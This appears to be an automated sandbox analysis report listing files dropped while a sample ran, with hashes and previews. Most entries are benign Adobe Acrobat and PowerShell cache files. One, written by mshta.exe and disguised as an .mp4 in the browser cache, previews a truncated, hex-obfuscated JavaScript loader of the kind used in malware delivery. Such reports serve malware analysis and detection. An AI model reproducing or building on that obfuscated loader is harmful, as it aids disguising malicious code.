SHA1:	3D431CF172A65F441D08157F81A8F04F3A4D1539
SHA-256:	77BDAABF31ECACCFD7C277CE1199ABAE6CAF83B8A08D10580C5FB29C1BE5AB3B
SHA-512:	9CEBCD552916080B796BC3A980C58288133C1C4D1645870F9BE313CBA6CF0C55C06A97556C7FC375D3CBF1FCF95DF25DDCAFF7D3DD368555DFC02AE47C1B738A
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290090810113374
Encrypted:	false
SSDEEP:
MD5:	6D92E4E466F4D71DA2260588E90FDF5F
SHA1:	94FA90004E1874FD891FFC5D00888B74521BE01C
SHA-256:	B81347FDE5E21C99FEB14FACE73E43F4673F095B86463EC21944BB518BD641E2
SHA-512:	95B0520B99B1538FC174CB0719D71252D3AB4DC25AD0353451652B176D64F267A0F93968A2699CAAD30A33EE4DC1ED37B05C74B72D736967E3BE28C9B7333B41
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.355381107250096
Encrypted:	false
SSDEEP:
MD5:	AA16BB5169849084FA46FE5496468C22
SHA1:	9A7EBD1C21B1D148DD042160C7A1031914753628
SHA-256:	6BFFE51F10540DFCC25ED70A4B01DEDBF7F86938EFE369C408878A049CA34C13
SHA-512:	D20A1A5755676D17427BFBD87DA2627F5CBD4531091685481F12AFB8ACD287D38CD0DE85435AF6CC440DFADD157206094B14AE14FB30448BE5CEAA667E5147B1
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694502288678724
Encrypted:	false
SSDEEP:
MD5:	308650E137F5CB3524E0C15201E2955E
SHA1:	63BD0EBD3E976159CFDC76DEAD0FE753F63EE08F
SHA-256:	C8B8D75FEE5C3523ED74833A2A7B481FA8C19BA79A2216D65DD6D3E7C6D461CC
SHA-512:	F11055875CE16A243C86936062AD6EE8CFBD3F6731ED80425EC16BEF21A3720C32DAB275152E618D7F4069D28ACEE5C5D70F5FC4B883648A5B844092D0088679
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30376073262447
Encrypted:	false
SSDEEP:
MD5:	96AF51A08E957C084047077E6C16726C
SHA1:	A56B88A0CE7E4D4201F86A60A9EB191F0205612B
SHA-256:	999F4300441AE86E7E4B2D830B67D90A1D11F4E724BF2F1947F16978CEA92000
SHA-512:	A47AEB1B3CF013C1F6FC675C8D47E0E4EFF1C56E664D9233608B4246672BCFDFA299E07487D47AD2C0797DBD5B51A8DC34BBF5E43DAF651BAE7E36A76766325D
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.306665146498723
Encrypted:	false
SSDEEP:
MD5:	BF86AEDD17FB9C213CC677B36BC8D7DA
SHA1:	59E412918918B6613271536A74B3267B4C8BA1DA
SHA-256:	0BA7DA7590A5ABD6A15AD2A9B09CCC38C4DF6E9A54B5DFFF0C7BA9849A3F2460
SHA-512:	27560B1553E68F8891D1732EFEC0488EAEB72B410080ED61D16036699FC0F85205FB47CC6412D3ADE49F6BFFF6EEDBF029990BA797ACBBD12AAF814F7D3222A3
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312048953271428
Encrypted:	false
SSDEEP:
MD5:	8343F26CA2972A8591A9ADC2E4E49C94
SHA1:	7006DFFBB57B9BDFD36CDBEBBAFF42B2D1F3698A
SHA-256:	F8DAACB034F53BD7A19C75BD65A138110F23D0B6D73A6A2F9A25606B9E1DB40A
SHA-512:	1E61A5CA65C16953E9E415A6BBA218D5B3C6DC1FDE5131062B8FD5291EC8DDB12E55BAE24D213481284F1B0EC8E5CE80BE332E054E76CB0BBE944B11F6353F93
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3295991085770416
Encrypted:	false
SSDEEP:
MD5:	AFEF82BC7362DADFCB9853265125D6A5
SHA1:	625635DDCE946B94275B5DAFFE4AB1554CF8042D
SHA-256:	6C092472A5723231C3E4965011CEB41DF00F5DE20091B9914C840726AAB2966B
SHA-512:	B38E2DB08E46601AF15DDBC885816E663F6BE7C39BDFCC60F4A925D8DD5887737D712304FCC84C3F5BB5DEE30F8E8CD9613A0E7C018FBC401CB3CDF92C22CD0E
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310732830349731
Encrypted:	false
SSDEEP:
MD5:	3FF5915B264D59631F29CE5E4D13C149
SHA1:	11D9A1A3ECD22B044BDE889DCCE2967970B5762D
SHA-256:	4DEA2E86298E2239C4E0327F037D95CBA551732913D5A4FFE4868679EA2278FC
SHA-512:	E314E17B0036BF6E754C2F33931E1DDF3A1B49F2FE30C1A1AF0992A98A7B0040422AD0FE24277C80A78FAC3B13EEB0DFDD12A117EC0D31CC51201C8F97543D33
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29727115238105
Encrypted:	false
SSDEEP:
MD5:	1E1433149FBE4C16D38B2A81DA651DC9
SHA1:	31D4F77BF7EDA6ED836A388D445247755DCE4EBF
SHA-256:	799C3489534FCB4A065061690C3666E5CD280EBA5B2009E084050B8EB1917A70
SHA-512:	D0D7C48120488713B90F04990542F97E480CB9AA50FAAC9C68E39E08FE08C83466979FC22191EFCCFFDFE4C47532DF84ED12F35C7AE74BE0B8DC9A2CF28A51A2
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.294206162866551
Encrypted:	false
SSDEEP:
MD5:	75BC09039BDF256431A99F23B3A0474C
SHA1:	D4A70EDCC8423E5F220AADEB6B253358D1386069
SHA-256:	36EAC7B4B47498A36364FED467914328FAE5B56F01CFC3311013B57238B2CD0E
SHA-512:	A663C9187E67A42433D2274AEB5C52F118C6342F7BA1E31449214F551AEAED3DBB4FDBCEE9BB57082DF8F7680B0B4302BF23FBE6EE4CC78D5497D91B4E54B387
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298031907166959
Encrypted:	false
SSDEEP:
MD5:	A9E21CA1E88C7F0AA2BF53A4B5EDD921
SHA1:	BCE4AA03DFC9CB6C3EAD16672DEDC5856E012A0E
SHA-256:	6DC26F025F3F5D44B5A73E0C97B71487DFBBD57156D7E9DD572D3B996704E209
SHA-512:	4F5803877D4F768970064C911BCA2A14A6907E22DB44BD99759DC5D6F02263395BBA0972CF57457B706C08D59617F70145258CCFF88D699C47666F211C6BB42F
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.673573237410001
Encrypted:	false
SSDEEP:
MD5:	E603E4C1603E5F7ABA3A0B6262A3EF9F
SHA1:	2FB971F9D1D9F89CD6C6C531A6D5CBDD0F45B4D2
SHA-256:	C4DCCABEEB140096681DC2BC35B48643B70B5C13BBE84195C556B1D066E7A235
SHA-512:	F95250B363A6F61BAE5AE25843C900D24C9B4D8483F97B7CA955B8D6EB4CAE5624AA0117A417008BB9A1D7741DFD4713EEBF20442A583A350F10E7E0CE57B069
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.275701022257486
Encrypted:	false
SSDEEP:
MD5:	E81C10A1B1BC759592BFADC9F5F40B47
SHA1:	BACFDBF9CC555AB56AD2C688CDA71A274D8E1803
SHA-256:	E0BCC86DE28558DA2ABF497759454DB75AF4300A32AAAE081AFF76E6FFAFD930
SHA-512:	D8989B12D8466F899D1E1C771ACACEEB8DFBC203AE3D01569B023D08B73E3C085ED048BD2D1037816D682B4484788E06E337FA919796C7C8DD6BE4064AD48FC3
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2876423281515
Encrypted:	false
SSDEEP:
MD5:	5DF06F47CF033FEA85927A811CF9EF89
SHA1:	1DBB690655E4D43164868F7FB98BD923FC984C41
SHA-256:	B382009C41B780A7E7C44EF9DCDD2EBB6FB77E6FE6C70FEE43A7BAE2DAA94266
SHA-512:	0739412CDE0F1874E27BE8808EA587E54E0A0C4C625AFE420F12B22C5DD39889BA8E6EF4EE7A2CDE4B0B83EF337FCE26D63340DADA65AF64F5CFBACAE1037430
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Reputation:	unknown
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141865703677942
Encrypted:	false
SSDEEP:
MD5:	7B6A5BD9E239B9A7235530B4B1EBDAD7
SHA1:	C22EF5FFC137D22DFFF9CE110266154D2F621336
SHA-256:	937878AA616F83C9F6DB6B96235E661F7D60D9BD59D884EE687EB5CB40779C98
SHA-512:	16C2A851C8EA95AD5B1CDC28FF40D98596CA76E08E2E5177DDC6A1B462141E65DAF5DFCC45D0CD9586B6D3A89ABADF5FC5A477AA45FA98450484DE15A4DC1C7A
Malicious:	false
Reputation:	unknown
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0c7897e662a97c883a67bbd7f27c2214","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1733940842000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d1bccc7b5c7d8e3d06f22254b1d10714","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1733940842000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e61fd16bbb199f387e8f32509928093d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1733940842000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"36a794dc145c37ff125ef732e9a9eafc","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1733940842000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"aa9fd70d8304d56b17185015b7bfe783","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1733940842000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4229d3e2526395b2bc893698d2594717","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.457978218978906
Encrypted:	false
SSDEEP:
MD5:	7F1CA03BD06E5E4EB49237963B06857F
SHA1:	EA857D1BDBC9091A5E461386D4CCA4F5A3D84B4A
SHA-256:	84F5338ECAF9DF9410E95839AE55B4880F661D23EC8320E91700B65A322B600A
SHA-512:	CB237235EB250126F4AD22B7240EFA3BEE41D6F871E80513C61CD1E917057263A7442D0B077A44BF9033E4A8D83593B0E14B1D551E1A78D8153276B4024FDDAF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9612342379041783
Encrypted:	false
SSDEEP:
MD5:	024589B465C0D30BF8B50548226015EB
SHA1:	C9E80BCC425CBDAB2EFF2A5F04D1FE82E93ED6F7
SHA-256:	10539BE7109EB4EA4D3D1B03EF35444B7AB4CCAC9DB66698A08A8B02E2DE19FA
SHA-512:	6430F634E9C234B02977109039E8832515056E2F570043C161675D50664562079D5F02CAB133275F6B92F583E9229D7D80ECAEF4BB5023AFE98F74A208F84277
Malicious:	false
Reputation:	unknown
Preview:	.... .c......i............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:
MD5:	D6C954B9A28C0155893B667BF480D50C
SHA1:	6DADDAC163BB0AE2F60BB84A77590B233313F624
SHA-256:	264B0D872FEB9C5D23ACCC051025E9DD8F3D3B257408227FC21FE3C3D8B2A37A
SHA-512:	6E19FC25F4130E2E028687B9BCB4CF80DF5773AF88A443B7E9EF5C9AB50297C9D180408CB6D673B0AE128D8C1E58B548F58ED36933EE602561A8E3D15767DDCF
Malicious:	false
Reputation:	unknown
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HAYXG4SY\5MV6U[1].mp4

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	295212
Entropy (8bit):	2.579243531352083
Encrypted:	false
SSDEEP:
MD5:	D49CE4D8703049EADE3ED73FB6ED279F
SHA1:	DDB6FA00F2A9A5D93A3DBABAA789ABDF86DBAE88
SHA-256:	ECC585D1E35632A443DEEBA78E30BE58B56457BB641D4BEB36CBB27F41857ADE
SHA-512:	4ED4507F9505FD384DE22EDA22E3E9AF2893F031146A55C51257438C8A4413E60D383676446AD20D93AB7157A3BDE05FF907FC1C21EEB352E5E516EDDE31B0F4
Malicious:	false
Reputation:	unknown
Preview:	66s75T6eA63K74d69w6fe6eW20q74M50w45q55V46u66i28q71e61w6cR59X29h7bM76X61t72s20X64a41g58C64b3ds20r27c27s3bm66K6fA72N20z28i76R61A72Q20L66I76A57F47r58q45S20n3db20v30U3bg66f76v57G47R58F45V20y3cT20O71T61F6cN59d2eH6cX65q6eQ67w74j68F3bg20w66M76l57s47S58j45p2bj2bn29R7bv76I61M72H20O4au53w58t4eM72T4eg20B3dr20C53n74b72k69S6ec67X2ee66M72O6fz6di43j68U61Z72m43m6fI64k65b28C71J61E6cQ59A5bI66w76U57C47W58m45z5dv20U2di20E37q37y32X29H3bQ64m41i58u64M20Y3df20Z64X41G58Z64L20w2bZ20p4as53i58L4ek72J4ef7dC72c65q74b75z72n6eO20m64U41w58o64k7dc3bL76P61b72K20D64c41d58X64x20v3dw20b74D50V45f55p46W66f28O5bN38b38N34K2cs38S38N33k2cQ38m39C31K2cl38a37T33O2ca38R38X36H2cH38g38I37F2cg38t37A36v2cS38j37w33x2cQ38Z38X30B2cx38E38j30s2cq38r31M38k2cu38k37K33B2ck38G39E32X2cy38Y37G33g2cS38I30d34y2cR38R31R37h2cq38F39u31M2cC38S30R34V2ci38f32Q31P2cU38Y30L34w2cj38z31L37M2ce38Y37z33r2cS38q38i34o2cb38k30a34Z2ca38f35t37p2cq38y38y32S2co38j38p36S2cH38q37M33u2cw38h38P37S2cF38F38C38S2cF38C38t36M2cj38c37u37x2cF38r37p31p2ce38W38F38k2cA38t37X33v2cj3

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:
MD5:	DD89E182EEC1B964E2EEFE5F8889DCD7
SHA1:	326A3754A1334C32056811411E0C5C96F8BFBBEE
SHA-256:	383ABA2B62EA69A1AA28F0522BCFB0A19F82B15FCC047105B952950FF8B52C63
SHA-512:	B9AFE64D8558860B0CB8BC0FA676008E74F983C4845895E5444DD776A42B584ECE0BB1612D8F97EE631B064F08CF5B2C7622D58A3EF8EF89D199F2ACAEFA8B52
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11572
Entropy (8bit):	5.390717153477531
Encrypted:	false
SSDEEP:
MD5:	C10A1E085BF5F189F4557DB1648806F3
SHA1:	2772D1B430813C73C85B2E5A43A1E2FF503D0CC1
